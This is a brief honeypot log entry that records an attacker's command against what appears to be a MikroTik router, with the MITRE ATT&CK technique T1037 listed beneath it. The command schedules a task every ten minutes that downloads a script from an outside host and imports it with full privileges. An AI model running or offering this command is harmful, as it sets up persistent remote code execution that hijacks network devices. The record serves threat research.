Honeypot attack session (period 2021_2022), commands issued:
/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/abe5c8c0-8c05-46e9-a491-0bfac80ac940 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write

MITRE ATT&CK techniques observed:
T1037 Boot or Logon Initialization Scripts